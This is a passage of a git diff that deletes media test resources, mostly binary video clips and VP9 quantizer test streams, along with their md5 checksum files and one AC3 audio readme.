--- a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_12fps_aac_stereo_24kbps_22050hz.3gp
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_25fps_aac_mono_24kbps_11025hz.3gp b/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_25fps_aac_mono_24kbps_11025hz.3gp
deleted file mode 100644
index b39c665..0000000
--- a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_25fps_aac_mono_24kbps_11025hz.3gp
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_25fps_aac_mono_24kbps_22050hz.3gp b/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_25fps_aac_mono_24kbps_22050hz.3gp
deleted file mode 100644
index e50f329..0000000
--- a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_25fps_aac_mono_24kbps_22050hz.3gp
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_25fps_aac_stereo_128kbps_11025hz.3gp b/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_25fps_aac_stereo_128kbps_11025hz.3gp
deleted file mode 100644
index cc50019..0000000
--- a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_25fps_aac_stereo_128kbps_11025hz.3gp
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_25fps_aac_stereo_24kbps_11025hz.3gp b/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_25fps_aac_stereo_24kbps_11025hz.3gp
deleted file mode 100644
index 22a7b8b..0000000
--- a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_25fps_aac_stereo_24kbps_11025hz.3gp
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_25fps_aac_stereo_24kbps_22050hz.3gp b/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_25fps_aac_stereo_24kbps_22050hz.3gp
deleted file mode 100644
index 55a73ec..0000000
--- a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_25fps_aac_stereo_24kbps_22050hz.3gp
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_256x144_webm_vp9_hdr_83kbps_24fps.webm b/tests/tests/media/res/raw/video_256x144_webm_vp9_hdr_83kbps_24fps.webm
deleted file mode 100644
index bc4ef33..0000000
--- a/tests/tests/media/res/raw/video_256x144_webm_vp9_hdr_83kbps_24fps.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4 b/tests/tests/media/res/raw/video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4
deleted file mode 100644
index 601dda1..0000000
--- a/tests/tests/media/res/raw/video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_dovi_3840x2160_30fps_dav1_10_2.mp4 b/tests/tests/media/res/raw/video_dovi_3840x2160_30fps_dav1_10_2.mp4
deleted file mode 100644
index 38e791f..0000000
--- a/tests/tests/media/res/raw/video_dovi_3840x2160_30fps_dav1_10_2.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_h264_mpeg4_rotate_0.mp4 b/tests/tests/media/res/raw/video_h264_mpeg4_rotate_0.mp4
deleted file mode 100644
index 73a7309..0000000
--- a/tests/tests/media/res/raw/video_h264_mpeg4_rotate_0.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_h264_mpeg4_rotate_180.mp4 b/tests/tests/media/res/raw/video_h264_mpeg4_rotate_180.mp4
deleted file mode 100644
index 7c6a927..0000000
--- a/tests/tests/media/res/raw/video_h264_mpeg4_rotate_180.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_h264_mpeg4_rotate_270.mp4 b/tests/tests/media/res/raw/video_h264_mpeg4_rotate_270.mp4
deleted file mode 100644
index 684ba40..0000000
--- a/tests/tests/media/res/raw/video_h264_mpeg4_rotate_270.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_h264_mpeg4_rotate_90.mp4 b/tests/tests/media/res/raw/video_h264_mpeg4_rotate_90.mp4
deleted file mode 100644
index 921a58f..0000000
--- a/tests/tests/media/res/raw/video_h264_mpeg4_rotate_90.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/voice12_48k_128kbps_15s_ac3_readme.txt b/tests/tests/media/res/raw/voice12_48k_128kbps_15s_ac3_readme.txt
deleted file mode 100644
index 3073d48..0000000
--- a/tests/tests/media/res/raw/voice12_48k_128kbps_15s_ac3_readme.txt
+++ /dev/null
@@ -1,7 +0,0 @@
-file=voice12_48k_128kbps_15s.raw
-author=Phil Burk
-copyright=2016 Google Inc
-license=Apache Open Source V2
-channels=2
-encoding=AC3
-rate=48000
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_00.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_00.vp9
deleted file mode 100644
index 1d65e32..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_00.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_00_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_00_vp9_md5
deleted file mode 100644
index aa90d5a..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_00_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-c3fbb7abbdb5bd4ed4a7e34768c17df1  vp90-2-00-quantizer-00-352x288-0001.i420
-08203c2595bdb2d58ead6f921345d699  vp90-2-00-quantizer-00-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_01.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_01.vp9
deleted file mode 100644
index c2aebcf..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_01.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_01_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_01_vp9_md5
deleted file mode 100644
index 85e12ba..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_01_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-f041b870cf9236d5f22e2b08a77d5958  vp90-2-00-quantizer-01-352x288-0001.i420
-cbdb7526986ae15592891488c9afc84c  vp90-2-00-quantizer-01-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_02.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_02.vp9
deleted file mode 100644
index 6baa992..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_02.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_02_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_02_vp9_md5
deleted file mode 100644
index e1bbcaa..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_02_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-98048cfdb4af5059f4085c5acc94ef8f  vp90-2-00-quantizer-02-352x288-0001.i420
-8160183e1eed1d0af4427be216b8b9f7  vp90-2-00-quantizer-02-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_03.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_03.vp9
deleted file mode 100644
index 7b7ead0..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_03.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_03_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_03_vp9_md5
deleted file mode 100644
index fb6f597..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_03_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-15c548208f5eda243a151a42f4d64855  vp90-2-00-quantizer-03-352x288-0001.i420
-e96d463dc8e9b27b1c2ec40f77eee6ef  vp90-2-00-quantizer-03-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_04.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_04.vp9
deleted file mode 100644
index 4eb17d0..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_04.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_04_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_04_vp9_md5
deleted file mode 100644
index fbe7558..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_04_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-928c64a0747ac57ab50c1520d694fea7  vp90-2-00-quantizer-04-352x288-0001.i420
-a6f6daa293231e95ef30ed168f582c84  vp90-2-00-quantizer-04-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_05.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_05.vp9
deleted file mode 100644
index b11f071..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_05.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_05_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_05_vp9_md5
deleted file mode 100644
index 4977060..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_05_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-082460718b7d7046c8fb23184b7f71ca  vp90-2-00-quantizer-05-352x288-0001.i420
-4a41aad51c40a92df72333e13f47d3fe  vp90-2-00-quantizer-05-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_06.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_06.vp9
deleted file mode 100644
index 11e2814..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_06.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_06_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_06_vp9_md5
deleted file mode 100644
index 2a90a40..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_06_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-cfca1bed96ff62a69b2d841fda01c6b9  vp90-2-00-quantizer-06-352x288-0001.i420
-9b4d61f1b998745c108f8eb67925e03d  vp90-2-00-quantizer-06-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_07.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_07.vp9
deleted file mode 100644
index 38f752c..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_07.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_07_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_07_vp9_md5
deleted file mode 100644
index 6b77e7f..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_07_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-6f5122064bead9d9882bec2698a6ed9c  vp90-2-00-quantizer-07-352x288-0001.i420
-50dae67d2f57a76eece210dee8b6df9e  vp90-2-00-quantizer-07-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_08.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_08.vp9
deleted file mode 100644
index a666e85..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_08.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_08_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_08_vp9_md5
deleted file mode 100644
index d0dba67..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_08_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-eb3d6985fcda5d93dd62d53354e8a093  vp90-2-00-quantizer-08-352x288-0001.i420
-5b1f5b7780b4cafe1f75e56a0b526643  vp90-2-00-quantizer-08-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_09.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_09.vp9
deleted file mode 100644
index d5e9268..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_09.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_09_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_09_vp9_md5
deleted file mode 100644
index a1d78c2..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_09_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-d7ccaf28c59875fe91983def5490d2b1  vp90-2-00-quantizer-09-352x288-0001.i420
-bd98fe9492054826748de840b4495309  vp90-2-00-quantizer-09-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_10.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_10.vp9
deleted file mode 100644
index ad74ec5..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_10.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_10_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_10_vp9_md5
deleted file mode 100644
index cc8a716..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_10_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-20dda6231f9801c9c237c6d09d9939b6  vp90-2-00-quantizer-10-352x288-0001.i420
-23c91e93807fb9a4ed5bd5bdd449d99f  vp90-2-00-quantizer-10-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_11.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_11.vp9
deleted file mode 100644
index 144a555..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_11.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_11_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_11_vp9_md5
deleted file mode 100644
index 39464f2..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_11_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-960833315ebcdee97f46c4d98d0f3fef  vp90-2-00-quantizer-11-352x288-0001.i420
-eec40507d17b64b7895a61cb87b2096a  vp90-2-00-quantizer-11-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_12.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_12.vp9
deleted file mode 100644
index c831b57..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_12.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_12_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_12_vp9_md5
deleted file mode 100644
index 57e7dbe..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_12_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-6533224d3b6ba1ec0dd973bbe56c6349  vp90-2-00-quantizer-12-352x288-0001.i420
-12ceadc6d28327a24a75f8c40b6084d1  vp90-2-00-quantizer-12-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_13.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_13.vp9
deleted file mode 100644
index 168bca9..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_13.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_13_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_13_vp9_md5
deleted file mode 100644
index 03acb52..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_13_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-7268de6756014f79a56dcf010c52a97f  vp90-2-00-quantizer-13-352x288-0001.i420
-9e39e9b0e2295b8460dfa05f44762771  vp90-2-00-quantizer-13-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_14.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_14.vp9
deleted file mode 100644
index 0113e12..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_14.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_14_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_14_vp9_md5
deleted file mode 100644
index 2525db5..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_14_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-57e9e333c641fa952f7485b788df225a  vp90-2-00-quantizer-14-352x288-0001.i420
-551f0cea83dcdf4540c3983736757874  vp90-2-00-quantizer-14-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_15.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_15.vp9
deleted file mode 100644
index fe7add2..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_15.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_15_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_15_vp9_md5
deleted file mode 100644
index c6e5377..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_15_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-17a0a2842856b9e89aede237648d5dda  vp90-2-00-quantizer-15-352x288-0001.i420
-c9fcade888a38621bebe3d4b41664245  vp90-2-00-quantizer-15-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_16.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_16.vp9
deleted file mode 100644
index c9c35b4..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_16.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_16_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_16_vp9_md5
deleted file mode 100644
index c1abf24..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_16_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-6cc2089e9a3d352fe10b59ccd935c677  vp90-2-00-quantizer-16-352x288-0001.i420
-d165bf7b9cb901e121a65038758d8613  vp90-2-00-quantizer-16-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_17.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_17.vp9
deleted file mode 100644
index cd8dd67..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_17.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_17_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_17_vp9_md5
deleted file mode 100644
index 40d8f03..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_17_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-bc80511c83162c09661f155cd29f6dd8  vp90-2-00-quantizer-17-352x288-0001.i420
-a62f1cbdb3f86d2fb4c880cfd917def5  vp90-2-00-quantizer-17-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_18.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_18.vp9
deleted file mode 100644
index 4b0fe9f..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_18.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_18_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_18_vp9_md5
deleted file mode 100644
index 3cb5fbe..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_18_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-b2d350f6faa41cb50c2e8a9907d0f4a5  vp90-2-00-quantizer-18-352x288-0001.i420
-39b4380d16bc8e093dd4dba475175fb3  vp90-2-00-quantizer-18-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_19.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_19.vp9
deleted file mode 100644
index f14d8d6..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_19.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_19_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_19_vp9_md5
deleted file mode 100644
index 36dbdac..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_19_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-441e09be3c15fcb240afd74bb7a10a72  vp90-2-00-quantizer-19-352x288-0001.i420
-32ae5dac876ca5d5ae6ab7c74f4dc25d  vp90-2-00-quantizer-19-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_20.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_20.vp9
deleted file mode 100644
index 062fd61..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_20.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_20_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_20_vp9_md5
deleted file mode 100644
index ca80f66..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_20_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-7786eb9944dba0553e129133523a98c1  vp90-2-00-quantizer-20-352x288-0001.i420
-206d888f8453427f10a40aa8bf5f6df0  vp90-2-00-quantizer-20-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_21.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_21.vp9
deleted file mode 100644
index 500950c..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_21.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_21_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_21_vp9_md5
deleted file mode 100644
index b31ac9e..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_21_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-aab95e195be71feca050a839d7b3154d  vp90-2-00-quantizer-21-352x288-0001.i420
-02a05d699bbbdc477e34bb0dad9f0391  vp90-2-00-quantizer-21-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_22.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_22.vp9
deleted file mode 100644
index 88dad68..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_22.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_22_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_22_vp9_md5
deleted file mode 100644
index 8f50f51..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_22_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-41f853c3ee2d4611b645cc643d82e287  vp90-2-00-quantizer-22-352x288-0001.i420
-1c240c653110ff8609ca0f0287a6496d  vp90-2-00-quantizer-22-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_23.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_23.vp9
deleted file mode 100644
index 1834017..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_23.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_23_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_23_vp9_md5
deleted file mode 100644
index ea0aaaa..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_23_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-bc5b07369df50c8f97ce1a377fe513cf  vp90-2-00-quantizer-23-352x288-0001.i420
-ce62ddb4f3e305d0f8587ae8bb44cc79  vp90-2-00-quantizer-23-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_24.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_24.vp9
deleted file mode 100644
index d9dac53..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_24.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_24_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_24_vp9_md5
deleted file mode 100644
index 49f378f..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_24_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-982d54041221c977b6f0e37a9236cc76  vp90-2-00-quantizer-24-352x288-0001.i420
-57631e7f13f645c834e2944ebfd6d40e  vp90-2-00-quantizer-24-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_25.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_25.vp9
deleted file mode 100644
index e04f1b6..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_25.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_25_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_25_vp9_md5
deleted file mode 100644
index 90ed556..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_25_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-b0fb55f3f2f56b3d27038e83c10123ce  vp90-2-00-quantizer-25-352x288-0001.i420
-9fcac3becdcc2d30d778a55eca4c2018  vp90-2-00-quantizer-25-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_26.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_26.vp9
deleted file mode 100644
index 3b5abd3..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_26.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_26_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_26_vp9_md5
deleted file mode 100644
index dbec99c..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_26_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-4f645e0f354da77b9e2f2a6753c361da  vp90-2-00-quantizer-26-352x288-0001.i420
-b7542998ec298273ca662bc9b658d10e  vp90-2-00-quantizer-26-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_27.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_27.vp9
deleted file mode 100644
index 6dbea83..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_27.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_27_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_27_vp9_md5
deleted file mode 100644
index 14ec691..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_27_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-6edc96a3747cad43828397045764206e  vp90-2-00-quantizer-27-352x288-0001.i420
-5fbc65d20fdca1abd69079851ce676d3  vp90-2-00-quantizer-27-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_28.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_28.vp9
deleted file mode 100644
index 8f928cc..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_28.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_28_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_28_vp9_md5
deleted file mode 100644
index 0e2d177..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_28_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-5db3e910e70da38bb91d01d73acc33dd  vp90-2-00-quantizer-28-352x288-0001.i420
-b920ee7f7e61b7fdf9f44b1f738d0292  vp90-2-00-quantizer-28-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_29.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_29.vp9
deleted file mode 100644
index f343340..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_29.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_29_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_29_vp9_md5
deleted file mode 100644
index 1187388..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_29_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-3cb3e310be5305077efa6216f6f10654  vp90-2-00-quantizer-29-352x288-0001.i420
-692d3e098af5978fe1a898ebc1a66a7a  vp90-2-00-quantizer-29-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_30.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_30.vp9
deleted file mode 100644
index f6ce3c8..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_30.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_30_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_30_vp9_md5
deleted file mode 100644
index 39a6f82..0000000
